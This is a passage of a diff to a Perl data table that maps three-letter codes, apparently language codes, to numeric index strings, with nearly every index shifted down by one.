          ],
       q(mdd) => [
-         q(4174),
+         q(4173),
          q(0),
          ],
       q(mde) => [
-         q(4175),
+         q(4174),
          q(0),
          ],
       q(mdf) => [
-         q(0276),
+         q(0275),
          q(0),
          ],
       q(mdg) => [
-         q(4176),
+         q(4175),
          q(0),
          ],
       q(mdh) => [
-         q(4177),
+         q(4176),
          q(0),
          ],
       q(mdi) => [
-         q(4178),
+         q(4177),
          q(0),
          ],
       q(mdj) => [
-         q(4179),
+         q(4178),
          q(0),
          ],
       q(mdk) => [
-         q(4180),
+         q(4179),
          q(0),
          ],
       q(mdl) => [
-         q(4181),
+         q(4180),
          q(0),
          ],
       q(mdm) => [
-         q(4182),
+         q(4181),
          q(0),
          ],
       q(mdn) => [
-         q(4183),
+         q(4182),
          q(0),
          ],
       q(mdp) => [
-         q(4184),
+         q(4183),
          q(0),
          ],
       q(mdq) => [
-         q(4185),
+         q(4184),
          q(0),
          ],
       q(mdr) => [
-         q(0277),
+         q(0276),
          q(0),
          ],
       q(mds) => [
-         q(4186),
+         q(4185),
          q(0),
          ],
       q(mdt) => [
-         q(4187),
+         q(4186),
          q(0),
          ],
       q(mdu) => [
-         q(4188),
+         q(4187),
          q(0),
          ],
       q(mdv) => [
-         q(4189),
+         q(4188),
          q(0),
          ],
       q(mdw) => [
-         q(4190),
+         q(4189),
          q(0),
          ],
       q(mdx) => [
-         q(4191),
+         q(4190),
          q(0),
          ],
       q(mdy) => [
-         q(4192),
+         q(4191),
          q(0),
          ],
       q(mdz) => [
-         q(4193),
+         q(4192),
          q(0),
          ],
       q(mea) => [
-         q(4194),
+         q(4193),
          q(0),
          ],
       q(meb) => [
-         q(4195),
+         q(4194),
          q(0),
          ],
       q(mec) => [
-         q(4196),
+         q(4195),
          q(0),
          ],
       q(med) => [
-         q(4197),
+         q(4196),
          q(0),
          ],
       q(mee) => [
-         q(4198),
+         q(4197),
          q(0),
          ],
       q(mef) => [
-         q(4199),
+         q(4198),
          q(0),
          ],
       q(meh) => [
-         q(4200),
+         q(4199),
          q(0),
          ],
       q(mei) => [
-         q(4201),
+         q(4200),
          q(0),
          ],
       q(mej) => [
-         q(4202),
+         q(4201),
          q(0),
          ],
       q(mek) => [
-         q(4203),
+         q(4202),
          q(0),
          ],
       q(mel) => [
-         q(4204),
+         q(4203),
          q(0),
          ],
       q(mem) => [
-         q(4205),
+         q(4204),
          q(0),
          ],
       q(men) => [
-         q(0278),
+         q(0277),
          q(1),
          ],
       q(meo) => [
-         q(4206),
+         q(4205),
          q(0),
          ],
       q(mep) => [
-         q(4207),
+         q(4206),
          q(0),
          ],
       q(meq) => [
-         q(4208),
+         q(4207),
          q(0),
          ],
       q(mer) => [
-         q(4209),
+         q(4208),
          q(0),
          ],
       q(mes) => [
-         q(4210),
+         q(4209),
          q(0),
          ],
       q(met) => [
-         q(4211),
+         q(4210),
          q(0),
          ],
       q(meu) => [
-         q(4212),
+         q(4211),
          q(0),
          ],
       q(mev) => [
-         q(4213),
+         q(4212),
          q(0),
          ],
       q(mew) => [
-         q(4214),
+         q(4213),
          q(0),
          ],
       q(mey) => [
-         q(4215),
+         q(4214),
          q(0),
          ],
       q(mez) => [
-         q(4216),
+         q(4215),
          q(0),
          ],
       q(mfa) => [
-         q(4217),
+         q(4216),
          q(0),
          ],
       q(mfb) => [
-         q(4218),
+         q(4217),
          q(0),
          ],
       q(mfc) => [
-         q(4219),
+         q(4218),
          q(0),
          ],
       q(mfd) => [
-         q(4220),
+         q(4219),
          q(0),
          ],
       q(mfe) => [
-         q(4221),
+         q(4220),
          q(0),
          ],
       q(mff) => [
-         q(4222),
+         q(4221),
          q(0),
          ],
       q(mfg) => [
-         q(4223),
+         q(4222),
          q(0),
          ],
       q(mfh) => [
-         q(4224),
+         q(4223),
          q(0),
          ],
       q(mfi) => [
-         q(4225),
+         q(4224),
          q(0),
          ],
       q(mfj) => [
-         q(4226),
+         q(4225),
          q(0),
          ],
       q(mfk) => [
-         q(4227),
+         q(4226),
          q(0),
          ],
       q(mfl) => [
-         q(4228),
+         q(4227),
          q(0),
          ],
       q(mfm) => [
-         q(4229),
+         q(4228),
          q(0),
          ],
       q(mfn) => [
-         q(4230),
+         q(4229),
          q(0),
          ],
       q(mfo) => [
-         q(4231),
+         q(4230),
          q(0),
          ],
       q(mfp) => [
-         q(4232),
+         q(4231),
          q(0),
          ],
       q(mfq) => [
-         q(4233),
+         q(4232),
          q(0),
          ],
       q(mfr) => [
-         q(4234),
+         q(4233),
          q(0),
          ],
       q(mfs) => [
-         q(4235),
+         q(4234),
          q(0),
          ],
       q(mft) => [
-         q(4236),
+         q(4235),
          q(0),
          ],
       q(mfu) => [
-         q(4237),
+         q(4236),
          q(0),
          ],
       q(mfv) => [
-         q(4238),
+         q(4237),
          q(0),
          ],
       q(mfw) => [
-         q(4239),
+         q(4238),
          q(0),
          ],
       q(mfx) => [
-         q(4240),
+         q(4239),
          q(0),
          ],
       q(mfy) => [
-         q(4241),
+         q(4240),
          q(0),
          ],
       q(mfz) => [
-         q(4242),
+         q(4241),
          q(0),
          ],
       q(mga) => [
-         q(0279),
+         q(0278),
          q(1),
          ],
       q(mgb) => [
-         q(4243),
+         q(4242),
          q(0),
          ],
       q(mgc) => [
-         q(4244),
+         q(4243),
          q(0),
          ],
       q(mgd) => [
-         q(4245),
+         q(4244),
          q(0),
          ],
       q(mge) => [
-         q(4246),
+         q(4245),
          q(0),
          ],
       q(mgf) => [
-         q(4247),
+         q(4246),
          q(0),
          ],
       q(mgg) => [
-         q(4248),
+         q(4247),
          q(0),
          ],
       q(mgh) => [
-         q(4249),
+         q(4248),
          q(0),
          ],
       q(mgi) => [
-         q(4250),
+         q(4249),
          q(0),
          ],
       q(mgj) => [
-         q(4251),
+         q(4250),
          q(0),
          ],
       q(mgk) => [
-         q(4252),
+         q(4251),
          q(0),
          ],
       q(mgl) => [
-         q(4253),
+         q(4252),
          q(0),
          ],
       q(mgm) => [
-         q(4254),
+         q(4253),
          q(0),
          ],
       q(mgn) => [
-         q(4255),
+         q(4254),
          q(0),
          ],
       q(mgo) => [
-         q(4256),
+         q(4255),
          q(0),
          ],
       q(mgp) => [
-         q(4257),
+         q(4256),
          q(0),
          ],
       q(mgq) => [
-         q(4258),
+         q(4257),
          q(0),
          ],
       q(mgr) => [
-         q(4259),
+         q(4258),
          q(0),
          ],
       q(mgs) => [
-         q(4260),
+         q(4259),
          q(0),
          ],
       q(mgt) => [
-         q(4261),
+         q(4260),
          q(0),
          ],
       q(mgu) => [
-         q(4262),
+         q(4261),
          q(0),
          ],
       q(mgv) => [
-         q(4263),
+         q(4262),
          q(0),
          ],
       q(mgw) => [
-         q(4264),
+         q(4263),
          q(0),
          ],
       q(mgy) => [
-         q(4265),
+         q(4264),
          q(0),
          ],
       q(mgz) => [
-         q(4266),
+         q(4265),
          q(0),
          ],
       q(mha) => [
-         q(4267),
+         q(4266),
          q(0),
          ],
       q(mhb) => [
-         q(4268),
+         q(4267),
          q(0),
          ],
       q(mhc) => [
-         q(4269),
+         q(4268),
          q(0),
          ],
       q(mhd) => [
-         q(4270),
+         q(4269),
          q(0),
          ],
       q(mhe) => [
-         q(4271),
+         q(4270),
          q(0),
          ],
       q(mhf) => [
-         q(4272),
+         q(4271),
          q(0),
          ],
       q(mhg) => [
-         q(4273),
+         q(4272),
          q(0),
          ],
       q(mhi) => [
-         q(4274),
+         q(4273),
          q(0),
          ],
       q(mhj) => [
-         q(4275),
+         q(4274),
          q(0),
          ],
       q(mhk) => [
-         q(4276),
+         q(4275),
          q(0),
          ],
       q(mhl) => [
-         q(4277),
+         q(4276),
          q(0),
          ],
       q(mhm) => [
-         q(4278),
+         q(4277),
          q(0),
          ],
       q(mhn) => [
-         q(4279),
+         q(4278),
          q(0),
          ],
       q(mho) => [
-         q(4280),
+         q(4279),
          q(0),
          ],
       q(mhp) => [
-         q(4281),
+         q(4280),
          q(0),
          ],
       q(mhq) => [
-         q(4282),
+         q(4281),
          q(0),
          ],
       q(mhr) => [
-         q(4283),
+         q(4282),
          q(0),
          ],
       q(mhs) => [
-         q(4284),
+         q(4283),
          q(0),
          ],
       q(mht) => [
-         q(4285),
+         q(4284),
          q(0),
          ],
       q(mhu) => [
-         q(4286),
+         q(4285),
          q(0),
          ],
       q(mhw) => [
-         q(4287),
+         q(4286),
          q(0),
          ],
       q(mhx) => [
-         q(4288),
+         q(4287),
          q(0),
          ],
       q(mhy) => [
-         q(4289),
+         q(4288),
          q(0),
          ],
       q(mhz) => [
-         q(4290),
+         q(4289),
          q(0),
          ],
       q(mia) => [
-         q(4291),
+         q(4290),
          q(0),
          ],
       q(mib) => [
-         q(4292),
+         q(4291),
          q(0),
          ],
       q(mic) => [
-         q(0280),
+         q(0279),
          q(0),
          ],
       q(mid) => [
-         q(4293),
+         q(4292),
          q(0),
          ],
       q(mie) => [
-         q(4294),
+         q(4293),
          q(0),
          ],
       q(mif) => [
-         q(4295),
+         q(4294),
          q(0),
          ],
       q(mig) => [
-         q(4296),
+         q(4295),
          q(0),
          ],
       q(mih) => [
-         q(4297),
+         q(4296),
          q(0),
          ],
       q(mii) => [
-         q(4298),
+         q(4297),
          q(0),
          ],
       q(mij) => [
-         q(4299),
+         q(4298),
          q(0),
          ],
       q(mik) => [
-         q(4300),
+         q(4299),
          q(0),
          ],
       q(mil) => [
-         q(4301),
+         q(4300),
          q(0),
          ],
       q(mim) => [
-         q(4302),
+         q(4301),
          q(0),
          ],
       q(min) => [
-         q(0281),
+         q(0280),
          q(0),
          ],
       q(mio) => [
-         q(4303),
+         q(4302),
          q(0),
          ],
       q(mip) => [
-         q(4304),
+         q(4303),
          q(0),
          ],
       q(miq) => [
-         q(4305),
+         q(4304),
          q(0),
          ],
       q(mir) => [
-         q(4306),
+         q(4305),
          q(0),
          ],
       q(mis) => [
-         q(0282),
+         q(0281),
          q(0),
          ],
       q(mit) => [
-         q(4307),
+         q(4306),
          q(0),
          ],
       q(miu) => [
-         q(4308),
+         q(4307),
          q(0),
          ],
       q(miw) => [
-         q(4309),
+         q(4308),
          q(0),
          ],
       q(mix) => [
-         q(4310),
+         q(4309),
          q(0),
          ],
       q(miy) => [
-         q(4311),
+         q(4310),
          q(0),
          ],
       q(miz) => [
-         q(4312),
+         q(4311),
          q(0),
          ],
       q(mjb) => [
-         q(4313),
+         q(4312),
          q(0),
          ],
       q(mjc) => [
-         q(4314),
+         q(4313),
          q(0),
          ],
       q(mjd) => [
-         q(4315),
+         q(4314),
          q(0),
          ],
       q(mje) => [
-         q(4316),
+         q(4315),
          q(0),
          ],
       q(mjg) => [
-         q(4317),
+         q(4316),
          q(0),
          ],
       q(mjh) => [
-         q(4318),
+         q(4317),
          q(0),
          ],
       q(mji) => [
-         q(4319),
+         q(4318),
          q(0),
          ],
       q(mjj) => [
-         q(4320),
+         q(4319),
          q(0),
          ],
       q(mjk) => [
-         q(4321),
+         q(4320),
          q(0),
          ],
       q(mjl) => [
-         q(4322),
+         q(4321),
          q(0),
          ],
       q(mjm) => [
-         q(4323),
+         q(4322),
          q(0),
          ],
       q(mjn) => [
-         q(4324),
+         q(4323),
          q(0),
          ],
       q(mjo) => [
-         q(4325),
+         q(4324),
          q(0),
          ],
       q(mjp) => [
-         q(4326),
+         q(4325),
          q(0),
          ],
       q(mjq) => [
-         q(4327),
+         q(4326),
          q(0),
          ],
       q(mjr) => [
-         q(4328),
+         q(4327),
          q(0),
          ],
       q(mjs) => [
-         q(4329),
+         q(4328),
          q(0),
          ],
       q(mjt) => [
-         q(4330),
+         q(4329),
          q(0),
          ],
       q(mju) => [
-         q(4331),
+         q(4330),
          q(0),
          ],
       q(mjv) => [
-         q(4332),
+         q(4331),
          q(0),
          ],
       q(mjw) => [
-         q(4333),
+         q(4332),
          q(0),
          ],
       q(mjx) => [
-         q(4334),
+         q(4333),
          q(0),
          ],
       q(mjy) => [
-         q(4335),
+         q(4334),
          q(0),
          ],
       q(mjz) => [
-         q(4336),
+         q(4335),
          q(0),
          ],
       q(mka) => [
-         q(4337),
+         q(4336),
          q(0),
          ],
       q(mkb) => [
-         q(4338),
+         q(4337),
          q(0),
          ],
       q(mkc) => [
-         q(4339),
+         q(4338),
          q(0),
          ],
       q(mke) => [
-         q(4340),
+         q(4339),
          q(0),
          ],
       q(mkf) => [
-         q(4341),
+         q(4340),
          q(0),
          ],
       q(mkg) => [
-         q(4342),
+         q(4341),
          q(0),
          ],
       q(mkh) => [
-         q(0283),
+         q(0282),
          q(0),
          ],
       q(mki) => [
-         q(4343),
+         q(4342),
          q(0),
          ],
       q(mkj) => [
-         q(4344),
+         q(4343),
          q(0),
          ],
       q(mkk) => [
-         q(4345),
+         q(4344),
          q(0),
          ],
       q(mkl) => [
-         q(4346),
+         q(4345),
          q(0),
          ],
       q(mkm) => [
-         q(4347),
+         q(4346),
          q(0),
          ],
       q(mkn) => [
-         q(4348),
+         q(4347),
          q(0),
          ],
       q(mko) => [
-         q(4349),
+         q(4348),
          q(0),
          ],
       q(mkp) => [
-         q(4350),
+         q(4349),
          q(0),
          ],
       q(mkq) => [
-         q(4351),
+         q(4350),
          q(0),
          ],
       q(mkr) => [
-         q(4352),
+         q(4351),
          q(0),
          ],
       q(mks) => [
-         q(4353),
+         q(4352),
          q(0),
          ],
       q(mkt) => [
-         q(4354),
+         q(4353),
          q(0),
          ],
       q(mku) => [
-         q(4355),
+         q(4354),
          q(0),
          ],
       q(mkv) => [
-         q(4356),
+         q(4355),
          q(0),
          ],
       q(mkw) => [
-         q(4357),
+         q(4356),
          q(0),
          ],
       q(mkx) => [
-         q(4358),
+         q(4357),
          q(0),
          ],
       q(mky) => [
-         q(4359),
+         q(4358),
          q(0),
          ],
       q(mkz) => [
-         q(4360),
+         q(4359),
          q(0),
          ],
       q(mla) => [
-         q(4361),
+         q(4360),
          q(0),
          ],
       q(mlb) => [
-         q(4362),
+         q(4361),
          q(0),
          ],
       q(mlc) => [
-         q(4363),
+         q(4362),
          q(0),
          ],
       q(mle) => [
-         q(4364),
+         q(4363),
          q(0),
          ],
       q(mlf) => [
-         q(4365),
+         q(4364),
          q(0),
          ],
       q(mlg) => [
-         q(0284),
+         q(0283),
          q(0),
          ],
       q(mlh) => [
-         q(4366),
+         q(4365),
          q(0),
          ],
       q(mli) => [
-         q(4367),
+         q(4366),
          q(0),
          ],
       q(mlj) => [
-         q(4368),
+         q(4367),
          q(0),
          ],
       q(mlk) => [
-         q(4369),
+         q(4368),
          q(0),
          ],
       q(mll) => [
-         q(4370),
+         q(4369),
          q(0),
          ],
       q(mlm) => [
-         q(4371),
+         q(4370),
          q(0),
          ],
       q(mln) => [
-         q(4372),
+         q(4371),
          q(0),
          ],
       q(mlo) => [
-         q(4373),
+         q(4372),
          q(0),
          ],
       q(mlp) => [
-         q(4374),
+         q(4373),
          q(0),
          ],
       q(mlq) => [
-         q(4375),
+         q(4374),
          q(0),
          ],
       q(mlr) => [
-         q(4376),
+         q(4375),
          q(0),
          ],
       q(mls) => [
-         q(4377),
+         q(4376),
          q(0),
          ],
       q(mlt) => [
-         q(0285),
+         q(0284),
          q(0),
          ],
       q(mlu) => [
-         q(4378),
+         q(4377),
          q(0),
          ],
       q(mlv) => [
-         q(4379),
+         q(4378),
          q(0),
          ],
       q(mlw) => [
-         q(4380),
+         q(4379),
          q(0),
          ],
       q(mlx) => [
-         q(4381),
+         q(4380),
          q(0),
          ],
       q(mlz) => [
-         q(4382),
+         q(4381),
          q(0),
          ],
       q(mma) => [
-         q(4383),
+         q(4382),
          q(0),
          ],
       q(mmb) => [
-         q(4384),
+         q(4383),
          q(0),
          ],
       q(mmc) => [
-         q(4385),
+         q(4384),
          q(0),
          ],
       q(mmd) => [
-         q(4386),
+         q(4385),
          q(0),
          ],
       q(mme) => [
-         q(4387),
+         q(4386),
          q(0),
          ],
       q(mmf) => [
-         q(4388),
+         q(4387),
          q(0),
          ],
       q(mmg) => [
-         q(4389),
+         q(4388),
          q(0),
          ],
       q(mmh) => [
-         q(4390),
+         q(4389),
          q(0),
          ],
       q(mmi) => [
-         q(4391),
+         q(4390),
          q(0),
          ],
       q(mmj) => [
-         q(4392),
+         q(4391),
          q(0),
          ],
       q(mmk) => [
-         q(4393),
+         q(4392),
          q(0),
          ],
       q(mml) => [
-         q(4394),
+         q(4393),
          q(0),
          ],
       q(mmm) => [
-         q(4395),
+         q(4394),
          q(0),
          ],
       q(mmn) => [
-         q(4396),
+         q(4395),
          q(0),
          ],
       q(mmo) => [
-         q(4397),
+         q(4396),
          q(0),
          ],
       q(mmp) => [
-         q(4398),
+         q(4397),
          q(0),
          ],
       q(mmq) => [
-         q(4399),
+         q(4398),
          q(0),
          ],
       q(mmr) => [
-         q(4400),
+         q(4399),
          q(0),
          ],
       q(mmt) => [
-         q(4401),
+         q(4400),
          q(0),
          ],
       q(mmu) => [
-         q(4402),
+         q(4401),
          q(0),
          ],
       q(mmv) => [
-         q(4403),
+         q(4402),
          q(0),
          ],
       q(mmw) => [
-         q(4404),
+         q(4403),
          q(0),
          ],
       q(mmx) => [
-         q(4405),
+         q(4404),
          q(0),
          ],
       q(mmy) => [
-         q(4406),
+         q(4405),
          q(0),
          ],
       q(mmz) => [
-         q(4407),
+         q(4406),
          q(0),
          ],
       q(mna) => [
-         q(4408),
+         q(4407),
          q(0),
          ],
       q(mnb) => [
-         q(4409),
+         q(4408),
          q(0),
          ],
       q(mnc) => [
-         q(0286),
+         q(0285),
          q(0),
          ],
       q(mnd) => [
-         q(4410),
+         q(4409),
          q(0),
          ],
       q(mne) => [
-         q(4411),
+         q(4410),
          q(0),
          ],
       q(mnf) => [
-         q(4412),
+         q(4411),
          q(0),
          ],
       q(mng) => [
-         q(4413),
+         q(4412),
          q(0),
          ],
       q(mnh) => [
-         q(4414),
+         q(4413),
          q(0),
          ],
       q(mni) => [
-         q(0287),
+         q(0286),
          q(0),
          ],
       q(mnj) => [
-         q(4415),
+         q(4414),
          q(0),
          ],
       q(mnk) => [
-         q(4416),
+         q(4415),
          q(0),
          ],
       q(mnl) => [
-         q(4417),
+         q(4416),
          q(0),
          ],
       q(mnm) => [
-         q(4418),
+         q(4417),
          q(0),
          ],
       q(mnn) => [
-         q(4419),
+         q(4418),
          q(0),
          ],
       q(mno) => [
-         q(0288),
+         q(0287),
          q(0),
          ],
       q(mnp) => [
-         q(4420),
+         q(4419),
          q(0),
          ],
       q(mnq) => [
-         q(4421),
+         q(4420),
          q(0),
          ],
       q(mnr) => [
-         q(4422),
+         q(4421),
          q(0),
          ],
       q(mns) => [
-         q(4423),
+         q(4422),
          q(0),
          ],
       q(mnu) => [
-         q(4424),
+         q(4423),
          q(0),
          ],
       q(mnv) => [
-         q(4425),
+         q(4424),
          q(0),
          ],
       q(mnw) => [
-         q(4426),
+         q(4425),
          q(0),
          ],
       q(mnx) => [
-         q(4427),
+         q(4426),
          q(0),
          ],
       q(mny) => [
-         q(4428),
+         q(4427),
          q(0),
          ],
       q(mnz) => [
-         q(4429),
+         q(4428),
          q(0),
          ],
       q(moa) => [
-         q(4430),
+         q(4429),
          q(0),
          ],
       q(moc) => [
-         q(4431),
+         q(4430),
          q(0),
          ],
       q(mod) => [
-         q(4432),
+         q(4431),
          q(0),
          ],
       q(moe) => [
-         q(4433),
+         q(4432),
          q(0),
          ],
       q(mog) => [
-         q(4434),
+         q(4433),
          q(0),
          ],
       q(moh) => [
-         q(0289),
+         q(0288),
          q(0),
          ],
       q(moi) => [
-         q(4435),
+         q(4434),
          q(0),
          ],
       q(moj) => [
-         q(4436),
+         q(4435),
          q(0),
          ],
       q(mok) => [
-         q(4437),
+         q(4436),
          q(0),
          ],
       q(mom) => [
-         q(4438),
+         q(4437),
          q(0),
          ],
       q(mon) => [
-         q(0290),
+         q(0289),
          q(0),
          ],
       q(moo) => [
-         q(4439),
+         q(4438),
          q(0),
          ],
       q(mop) => [
-         q(4440),
+         q(4439),
          q(0),
          ],
       q(moq) => [
-         q(4441),
+         q(4440),
          q(0),
          ],
       q(mor) => [
-         q(4442),
+         q(4441),
          q(0),
          ],
       q(mos) => [
-         q(0291),
+         q(0290),
          q(0),
          ],
       q(mot) => [
-         q(1137),
+         q(1136),
          q(0),
          ],
       q(mou) => [
-         q(4443),
+         q(4442),
          q(0),
          ],
       q(mov) => [
-         q(4444),
+         q(4443),
          q(0),
          ],
       q(mow) => [
-         q(4445),
+         q(4444),
          q(0),
          ],
       q(mox) => [
-         q(4446),
+         q(4445),
          q(0),
          ],
       q(moy) => [
-         q(4447),
+         q(4446),
          q(0),
          ],
       q(moz) => [
-         q(4448),
+         q(4447),
          q(0),
          ],
       q(mpa) => [
-         q(4449),
+         q(4448),
          q(0),
          ],
       q(mpb) => [
-         q(4450),
+         q(4449),
          q(0),
          ],
       q(mpc) => [
-         q(4451),
+         q(4450),
          q(0),
          ],
       q(mpd) => [
-         q(4452),
+         q(4451),
          q(0),
          ],
       q(mpe) => [
-         q(4453),
+         q(4452),
          q(0),
          ],
       q(mpg) => [
-         q(4454),
+         q(4453),
          q(0),
          ],
       q(mph) => [
-         q(4455),
+         q(4454),
          q(0),
          ],
       q(mpi) => [
-         q(4456),
+         q(4455),
          q(0),
          ],
       q(mpj) => [
-         q(4457),
+         q(4456),
          q(0),
          ],
       q(mpk) => [
-         q(4458),
+         q(4457),
          q(0),
          ],
       q(mpl) => [
-         q(4459),
+         q(4458),
          q(0),
          ],
       q(mpm) => [
-         q(4460),
+         q(4459),
          q(0),
          ],
       q(mpn) => [
-         q(4461),
+         q(4460),
          q(0),
          ],
       q(mpo) => [
-         q(4462),
+         q(4461),
          q(0),
          ],
       q(mpp) => [
-         q(4463),
+         q(4462),
          q(0),
          ],
       q(mpq) => [
-         q(4464),
+         q(4463),
          q(0),
          ],
       q(mpr) => [
-         q(4465),
+         q(4464),
          q(0),
          ],
       q(mps) => [
-         q(4466),
+         q(4465),
          q(0),
          ],
       q(mpt) => [
-         q(4467),
+         q(4466),
          q(0),
          ],
       q(mpu) => [
-         q(4468),
+         q(4467),
          q(0),
          ],
       q(mpv) => [
-         q(4469),
+         q(4468),
          q(0),
          ],
       q(mpw) => [
-         q(4470),
+         q(4469),
          q(0),
          ],
       q(mpx) => [
-         q(4471),
+         q(4470),
          q(0),
          ],
       q(mpy) => [
-         q(4472),
+         q(4471),
          q(0),
          ],
       q(mpz) => [
-         q(4473),
+         q(4472),
          q(0),
          ],
       q(mqa) => [
-         q(4474),
+         q(4473),
          q(0),
          ],
       q(mqb) => [
-         q(4475),
+         q(4474),
          q(0),
          ],
       q(mqc) => [
-         q(4476),
+         q(4475),
          q(0),
          ],
       q(mqe) => [
-         q(4477),
+         q(4476),
          q(0),
          ],
       q(mqf) => [
-         q(4478),
+         q(4477),
          q(0),
          ],
       q(mqg) => [
-         q(4479),
+         q(4478),
          q(0),
          ],
       q(mqh) => [
-         q(4480),
+         q(4479),
          q(0),
          ],
       q(mqi) => [
-         q(4481),
+         q(4480),
          q(0),
          ],
       q(mqj) => [
-         q(4482),
+         q(4481),
          q(0),
          ],
       q(mqk) => [
-         q(4483),
+         q(4482),
          q(0),
          ],
       q(mql) => [
-         q(4484),
+         q(4483),
          q(0),
          ],
       q(mqm) => [
-         q(4485),
+         q(4484),
          q(0),
          ],
       q(mqn) => [
-         q(4486),
+         q(4485),
          q(0),
          ],
       q(mqo) => [
-         q(4487),
+         q(4486),
          q(0),
          ],
       q(mqp) => [
-         q(4488),
+         q(4487),
          q(0),
          ],
       q(mqq) => [
-         q(4489),
+         q(4488),
          q(0),
          ],
       q(mqr) => [
-         q(4490),
+         q(4489),
          q(0),
          ],
       q(mqs) => [
-         q(4491),
+         q(4490),
          q(0),
          ],
       q(mqt) => [
-         q(4492),
+         q(4491),
          q(0),
          ],
       q(mqu) => [
-         q(4493),
+         q(4492),
          q(0),
          ],
       q(mqv) => [
-         q(4494),
+         q(4493),
          q(0),
          ],
       q(mqw) => [
-         q(4495),
+         q(4494),
          q(0),
          ],
       q(mqx) => [
-         q(4496),
+         q(4495),
          q(0),
          ],
       q(mqy) => [
-         q(4497),
+         q(4496),
          q(0),
          ],
       q(mqz) => [
-         q(4498),
+         q(4497),
          q(0),
          ],
       q(mra) => [
-         q(4499),
+         q(4498),
          q(0),
          ],
       q(mrb) => [
-         q(4500),
+         q(4499),
          q(0),
          ],
       q(mrc) => [
-         q(4501),
+         q(4500),
          q(0),
          ],
       q(mrd) => [
-         q(4502),
+         q(4501),
          q(0),
          ],
       q(mre) => [
-         q(4503),
+         q(4502),
          q(0),
          ],
       q(mrf) => [
-         q(4504),
+         q(4503),
          q(0),
          ],
       q(mrg) => [
-         q(4505),
+         q(4504),
          q(0),
          ],
       q(mrh) => [
-         q(4506),
+         q(4505),
          q(0),
          ],
       q(mrj) => [
-         q(4507),
+         q(4506),
          q(0),
          ],
       q(mrk) => [
-         q(4508),
+         q(4507),
          q(0),
          ],
       q(mrl) => [
-         q(4509),
+         q(4508),
          q(0),
          ],
       q(mrm) => [
-         q(4510),
+         q(4509),
          q(0),
          ],
       q(mrn) => [
-         q(4511),
+         q(4510),
          q(0),
          ],
       q(mro) => [
-         q(4512),
+         q(4511),
          q(0),
          ],
       q(mrp) => [
-         q(4513),
+         q(4512),
          q(0),
          ],
       q(mrq) => [
-         q(4514),
+         q(4513),
          q(0),
          ],
       q(mrr) => [
-         q(4515),
+         q(4514),
          q(0),
          ],
       q(mrs) => [
-         q(4516),
+         q(4515),
          q(0),
          ],
       q(mrt) => [
-         q(4517),
+         q(4516),
          q(0),
          ],
       q(mru) => [
-         q(4518),
+         q(4517),
          q(0),
          ],
       q(mrv) => [
-         q(4519),
+         q(4518),
          q(0),
          ],
       q(mrw) => [
-         q(4520),
+         q(4519),
          q(0),
          ],
       q(mrx) => [
-         q(4521),
+         q(4520),
          q(0),
          ],
       q(mry) => [
-         q(4522),
+         q(4521),
          q(0),
          ],
       q(mrz) => [
-         q(4523),
+         q(4522),
          q(0),
          ],
       q(msb) => [
-         q(4524),
+         q(4523),
          q(0),
          ],
       q(msc) => [
-         q(4525),
+         q(4524),
          q(0),
          ],
       q(msd) => [
-         q(4526),
+         q(4525),
          q(0),
          ],
       q(mse) => [
-         q(4527),
+         q(4526),
          q(0),
          ],
       q(msf) => [
-         q(4528),
+         q(4527),
          q(0),
          ],
       q(msg) => [
-         q(4529),
+         q(4528),
          q(0),
          ],
       q(msh) => [
-         q(4530),
+         q(4529),
          q(0),
          ],
       q(msi) => [
-         q(4531),
+         q(4530),
          q(0),
          ],
       q(msj) => [
-         q(4532),
+         q(4531),
          q(0),
          ],
       q(msk) => [
-         q(4533),
+         q(4532),
          q(0),
          ],
       q(msl) => [
-         q(4534),
+         q(4533),
          q(0),
          ],
       q(msm) => [
-         q(4535),
+         q(4534),
          q(0),
          ],
       q(msn) => [
-         q(4536),
+         q(4535),
          q(0),
          ],
       q(mso) => [
-         q(4537),
+         q(4536),
          q(0),
          ],
       q(msp) => [
-         q(4538),
+         q(4537),
          q(0),
          ],
       q(msq) => [
-         q(4539),
+         q(4538),
          q(0),
          ],
       q(msr) => [
-         q(4540),
+         q(4539),
          q(0),
          ],
       q(mss) => [
-         q(4541),
+         q(4540),
          q(0),
          ],
       q(msu) => [
-         q(4542),
+         q(4541),
          q(0),
          ],
       q(msv) => [
-         q(4543),
+         q(4542),
          q(0),
          ],
       q(msw) => [
-         q(4544),
+         q(4543),
          q(0),
          ],
       q(msx) => [
-         q(4545),
+         q(4544),
          q(0),
          ],
       q(msy) => [
-         q(4546),
+         q(4545),
          q(0),
          ],
       q(msz) => [
-         q(4547),
+         q(4546),
          q(0),
          ],
       q(mta) => [
-         q(4548),
+         q(4547),
          q(0),
          ],
       q(mtb) => [
-         q(4549),
+         q(4548),
          q(0),
          ],
       q(mtc) => [
-         q(4550),
+         q(4549),
          q(0),
          ],
       q(mtd) => [
-         q(4551),
+         q(4550),
          q(0),
          ],
       q(mte) => [
-         q(4552),
+         q(4551),
          q(0),
          ],
       q(mtf) => [
-         q(4553),
+         q(4552),
          q(0),
          ],
       q(mtg) => [
-         q(4554),
+         q(4553),
          q(0),
          ],
       q(mth) => [
-         q(4555),
+         q(4554),
          q(0),
          ],
       q(mti) => [
-         q(4556),
+         q(4555),
          q(0),
          ],
       q(mtj) => [
-         q(4557),
+         q(4556),
          q(0),
          ],
       q(mtk) => [
-         q(4558),
+         q(4557),
          q(0),
          ],
       q(mtl) => [
-         q(4559),
+         q(4558),
          q(0),
          ],
       q(mtm) => [
-         q(4560),
+         q(4559),
          q(0),
          ],
       q(mtn) => [
-         q(4561),
+         q(4560),
          q(0),
          ],
       q(mto) => [
-         q(4562),
+         q(4561),
          q(0),
          ],
       q(mtp) => [
-         q(4563),
+         q(4562),
          q(0),
          ],
       q(mtq) => [
-         q(4564),
+         q(4563),
          q(0),
          ],
       q(mtr) => [
-         q(4565),
+         q(4564),
          q(0),
          ],
       q(mts) => [
-         q(4566),
+         q(4565),
          q(0),
          ],
       q(mtt) => [
-         q(4567),
+         q(4566),
          q(0),
          ],
       q(mtu) => [
-         q(4568),
+         q(4567),
          q(0),
          ],
       q(mtv) => [
-         q(4569),
+         q(4568),
          q(0),
          ],
       q(mtw) => [
-         q(4570),
+         q(4569),
          q(0),
          ],
       q(mtx) => [
-         q(4571),
+         q(4570),
          q(0),
          ],
       q(mty) => [
-         q(4572),
+         q(4571),
          q(0),
          ],
       q(mua) => [
-         q(4573),
+         q(4572),
          q(0),
          ],
       q(mub) => [
-         q(4574),
+         q(4573),
          q(0),
          ],
       q(muc) => [
-         q(4575),
+         q(4574),
          q(0),
          ],
       q(mud) => [
-         q(4576),
+         q(4575),
          q(0),
          ],
       q(mue) => [
-         q(4577),
+         q(4576),
